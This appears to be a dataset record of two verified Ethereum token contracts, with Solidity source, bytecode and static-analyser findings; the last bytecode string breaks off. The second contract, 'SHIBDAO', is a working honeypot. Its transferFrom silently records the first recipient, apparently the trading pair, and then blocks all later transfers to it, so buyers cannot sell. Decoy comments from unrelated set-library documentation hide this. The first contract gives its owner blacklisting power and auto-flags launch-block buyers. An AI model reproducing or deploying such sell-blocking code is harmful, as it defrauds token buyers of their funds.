{"success": true, "error": null, "results": {}}
6,768
0x362549322f79500974275fd70b99c1fea4abf869
/** *Submitted for verification at Etherscan.io on 2022-03-04 */ // TG: @SausageGang // TG: @SausageGang // TG: @SausageGang // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract SAUSAGEINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _tTotal = 1e9 * 10**9; uint256 private constant _MAX = ~uint256(0); uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; uint private constant _decimals = 9; uint256 private _teamFee = 12; uint256 private _previousteamFee = _teamFee; string private constant _name = "Sausage Gang"; string private constant _symbol = "SGang"; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); require(!_isBot[to]); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.div(10); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (3 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 10, "not larger than 10%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f4578063cf0848f714610409578063cf9d4afa14610429578063dd62ed3e14610449578063e6ec64ec1461048f578063f2fde38b146104af57600080fd5b8063715018a6146103295780638da5cb5b1461033e57806390d49b9d1461036657806395d89b4114610386578063a9059cbb146103b4578063b515566a146103d457600080fd5b806331c2d8471161010857806331c2d847146102425780633bbac57914610262578063437823ec1461029b578063476343ee146102bb5780635342acb4146102d057806370a082311461030957600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b957806318160ddd146101e957806323b872dd1461020e578063313ce5671461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104cf565b005b34801561017e57600080fd5b5060408051808201909152600c81526b536175736167652047616e6760a01b60208201525b6040516101b09190611968565b60405180910390f35b3480156101c557600080fd5b506101d96101d43660046119e2565b61051b565b60405190151581526020016101b0565b3480156101f557600080fd5b50670de0b6b3a76400005b6040519081526020016101b0565b34801561021a57600080fd5b506101d9610229366004611a0e565b610532565b34801561023a57600080fd5b506009610200565b34801561024e57600080fd5b5061017061025d366004611a65565b61059b565b34801561026e57600080fd5b506101d961027d366004611b2a565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a757600080fd5b506101706102b6366004611b2a565b610631565b3480156102c757600080fd5b5061017061067f565b3480156102dc57600080fd5b506101d96102eb366004611b2a565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031557600080fd5b50610200610324366004611b2a565b6106b9565b34801561033557600080fd5b506101706106db565b34801561034a57600080fd5b506000546040516001600160a01b0390911681526020016101b0565b34801561037257600080fd5b50610170610381366004611b2a565b610711565b34801561039257600080fd5b506040805180820190915260058152645347616e6760d81b60208201526101a3565b3480156103c057600080fd5b506101d96103cf3660046119e2565b61078b565b3480156103e057600080fd5b506101706103ef366004611a65565b610798565b34801561040057600080fd5b506101706108b1565b34801561041557600080fd5b50610170610424366004611b2a565b610968565b34801561043557600080fd5b50610170610444366004611b2a565b6109b3565b34801561045557600080fd5b50610200610464366004611b47565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049b57600080fd5b506101706104aa366004611b80565b610c0e565b3480156104bb57600080fd5b506101706104ca366004611b2a565b610c84565b6000546001600160a01b031633146105025760405162461bcd60e51b81526004016104f990611b99565b60405180910390fd5b600061050d306106b9565b905061051881610d1c565b50565b6000610528338484610e96565b5060015b92915050565b600061053f848484610fba565b610591843361058c85604051806060016040528060288152602001611d14602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611421565b610e96565b5060019392505050565b6000546001600160a01b031633146105c55760405162461bcd60e51b81526004016104f990611b99565b60005b815181101561062d576000600560008484815181106105e9576105e9611bce565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062581611bfa565b9150506105c8565b5050565b6000546001600160a01b0316331461065b5760405162461bcd60e51b81526004016104f990611b99565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062d573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052c9061145b565b6000546001600160a01b031633146107055760405162461bcd60e51b81526004016104f990611b99565b61070f60006114df565b565b6000546001600160a01b0316331461073b5760405162461bcd60e51b81526004016104f990611b99565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610528338484610fba565b6000546001600160a01b031633146107c25760405162461bcd60e51b81526004016104f990611b99565b60005b815181101561062d57600c5482516001600160a01b03909116908390839081106107f1576107f1611bce565b60200260200101516001600160a01b0316141580156108425750600b5482516001600160a01b039091169083908390811061082e5761082e611bce565b60200260200101516001600160a01b031614155b1561089f5760016005600084848151811061085f5761085f611bce565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a981611bfa565b9150506107c5565b6000546001600160a01b031633146108db5760405162461bcd60e51b81526004016104f990611b99565b600c54600160a01b900460ff1661093f5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f9565b600c805460ff60b81b1916600160b81b17905542600d8190556109639060b4611c15565b600e55565b6000546001600160a01b031633146109925760405162461bcd60e51b81526004016104f990611b99565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109dd5760405162461bcd60e51b81526004016104f990611b99565b600c54600160a01b900460ff1615610a455760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f9565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac09190611c2d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b319190611c2d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba29190611c2d565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c385760405162461bcd60e51b81526004016104f990611b99565b600a811115610c7f5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031302560681b60448201526064016104f9565b600855565b6000546001600160a01b03163314610cae5760405162461bcd60e51b81526004016104f990611b99565b6001600160a01b038116610d135760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f9565b610518816114df565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6457610d64611bce565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de19190611c2d565b81600181518110610df457610df4611bce565b6001600160a01b039283166020918202929092010152600b54610e1a9130911684610e96565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e53908590600090869030904290600401611c4a565b600060405180830381600087803b158015610e6d57600080fd5b505af1158015610e81573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f9565b6001600160a01b038216610f595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f9565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661101e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f9565b6001600160a01b0382166110805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f9565b600081116110e25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f9565b6001600160a01b03831660009081526005602052604090205460ff161561118a5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104f9565b6001600160a01b03821660009081526005602052604090205460ff16156111b057600080fd5b6001600160a01b03831660009081526004602052604081205460ff161580156111f257506001600160a01b03831660009081526004602052604090205460ff16155b80156112085750600c54600160a81b900460ff16155b80156112385750600c546001600160a01b03858116911614806112385750600c546001600160a01b038481169116145b1561140f57600c54600160b81b900460ff166112965760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f9565b50600c546001906001600160a01b0385811691161480156112c55750600b546001600160a01b03848116911614155b80156112d2575042600e54115b156113195760006112e2846106b9565b905061130260646112fc670de0b6b3a7640000600261152f565b906115ae565b61130c84836115f0565b111561131757600080fd5b505b600d54421415611347576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611352306106b9565b600c54909150600160b01b900460ff1615801561137d5750600c546001600160a01b03868116911614155b1561140d57801561140d57600c546113b1906064906112fc90600f906113ab906001600160a01b03166106b9565b9061152f565b8111156113de57600c546113db906064906112fc90600f906113ab906001600160a01b03166106b9565b90505b60006113eb82600a6115ae565b90506113f78183611cbb565b91506114028161164f565b61140b82610d1c565b505b505b61141b8484848461167f565b50505050565b600081848411156114455760405162461bcd60e51b81526004016104f99190611968565b5060006114528486611cbb565b95945050505050565b60006006548211156114c25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f9565b60006114cc611782565b90506114d883826115ae565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261153e5750600061052c565b600061154a8385611cd2565b9050826115578583611cf1565b146114d85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f9565b60006114d883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117a5565b6000806115fd8385611c15565b9050838110156114d85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f9565b600c805460ff60b01b1916600160b01b17905561166f3061dead83610fba565b50600c805460ff60b01b19169055565b808061168d5761168d6117d3565b60008060008061169c876117ef565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116c99085611836565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116f890846115f0565b6001600160a01b03891660009081526001602052604090205561171a81611878565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161175f91815260200190565b60405180910390a3505050508061177b5761177b600954600855565b5050505050565b600080600061178f6118c2565b909250905061179e82826115ae565b9250505090565b600081836117c65760405162461bcd60e51b81526004016104f99190611968565b5060006114528486611cf1565b6000600854116117e257600080fd5b6008805460095560009055565b60008060008060008061180487600854611902565b915091506000611812611782565b90506000806118228a858561192f565b909b909a5094985092965092945050505050565b60006114d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611421565b6000611882611782565b90506000611890838361152f565b306000908152600160205260409020549091506118ad90826115f0565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006118dd82826115ae565b8210156118f957505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061191560646112fc878761152f565b905060006119238683611836565b96919550909350505050565b6000808061193d868561152f565b9050600061194b868661152f565b905060006119598383611836565b92989297509195505050505050565b600060208083528351808285015260005b8181101561199557858101830151858201604001528201611979565b818111156119a7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051857600080fd5b80356119dd816119bd565b919050565b600080604083850312156119f557600080fd5b8235611a00816119bd565b946020939093013593505050565b600080600060608486031215611a2357600080fd5b8335611a2e816119bd565b92506020840135611a3e816119bd565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a7857600080fd5b823567ffffffffffffffff80821115611a9057600080fd5b818501915085601f830112611aa457600080fd5b813581811115611ab657611ab6611a4f565b8060051b604051601f19603f83011681018181108582111715611adb57611adb611a4f565b604052918252848201925083810185019188831115611af957600080fd5b938501935b82851015611b1e57611b0f856119d2565b84529385019392850192611afe565b98975050505050505050565b600060208284031215611b3c57600080fd5b81356114d8816119bd565b60008060408385031215611b5a57600080fd5b8235611b65816119bd565b91506020830135611b75816119bd565b809150509250929050565b600060208284031215611b9257600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c0e57611c0e611be4565b5060010190565b60008219821115611c2857611c28611be4565b500190565b600060208284031215611c3f57600080fd5b81516114d8816119bd565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c9a5784516001600160a01b031683529383019391830191600101611c75565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611ccd57611ccd611be4565b500390565b6000816000190483118215151615611cec57611cec611be4565b500290565b600082611d0e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220783067d2143ab9cdea1b7756563182ce8b09af4d534731a4be83a68296ebe22064736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,769
0x867f41850601e8460d684cf31dd07ba7d12a3010
// SPDX-License-Identifier: AGPL-3.0-or-later /* sss. d d d d ss. d ss d s. sSSSs d S S S S b S ~o S ~O S S Y S S S S P S b S `b S S ss. S sSSS S S sSS' S S S sSSO S S b S S S S b S P S O S S P S S S S P S S S O S S ` ss' P P P P `SS P ss" P P "sss" * * */ /** * @dev Intended to update the TWAP for a token based on accepting an update call from that token. * expectation is to have this happen in the _beforeTokenTransfer function of ERC20. * Provides a method for a token to register its price sourve adaptor. * Provides a function for a token to register its TWAP updater. Defaults to token itself. * Provides a function a tokent to set its TWAP epoch. * Implements automatic closeing and opening up a TWAP epoch when epoch ends. * Provides a function to report the TWAP from the last epoch when passed a token address. */ // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. pragma solidity >=0.5.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0); c = a / b; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ contract BEP20Interface { function totalSupply() public view returns (uint256); function balanceOf(address tokenOwner) public view returns (uint256 balance); function allowance(address tokenOwner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom( address from, address to, uint256 tokens ) public returns (bool success); /** * @dev Returns true if the value is in the set. O(1). */ event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval( address indexed tokenOwner, address indexed spender, uint256 tokens ); } contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 tokens, address token, bytes memory data ) public; } // TODO needs insert function that maintains order. // TODO needs NatSpec documentation comment. /** * Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index */ contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } /** * @dev Returns the number of values on the set. O(1). */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ contract TokenBEP20 is BEP20Interface, Owned { using SafeMath for uint256; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; address public newun; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; constructor() public { symbol = "SHIBDAO"; name = "SHIBDAO"; decimals = 9; _totalSupply = 1000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function totalSupply() public view returns (uint256) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint256 balance) { return balances[tokenOwner]; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function transfer(address to, uint256 tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint256 tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function transferFrom( address from, address to, uint256 tokens ) public returns (bool success) { if (from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint256 remaining) { return allowed[tokenOwner][spender]; } function approveAndCall( address spender, uint256 tokens, bytes memory data ) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval( msg.sender, tokens, address(this), data ); return true; } function() external payable { revert(); } } contract GokuToken is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable {} } /* sss. d d d d ss. d ss d s. sSSSs d S S S S b S ~o S ~O S S Y S S S S P S b S `b S S ss. S sSSS S S sSS' S S S sSSO S S b S S S S b S P S O S S P S S S S P S S S O S S ` ss' P P P P `SS P ss" P P "sss" */
0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610568578063d4ee1d9014610672578063dd62ed3e146106c9578063f2fde38b1461074e576100f3565b806381f4f399146103bd5780638da5cb5b1461040e57806395d89b4114610465578063a9059cbb146104f5576100f3565b806323b872dd116100c657806323b872dd1461027d578063313ce5671461031057806370a082311461034157806379ba5097146103a6576100f3565b806306fdde03146100f8578063095ea7b31461018857806318160ddd146101fb5780631ee59f2014610226575b600080fd5b34801561010457600080fd5b5061010d61079f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101e1600480360360408110156101ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b604051808215151515815260200191505060405180910390f35b34801561020757600080fd5b5061021061092f565b6040518082815260200191505060405180910390f35b34801561023257600080fd5b5061023b61098a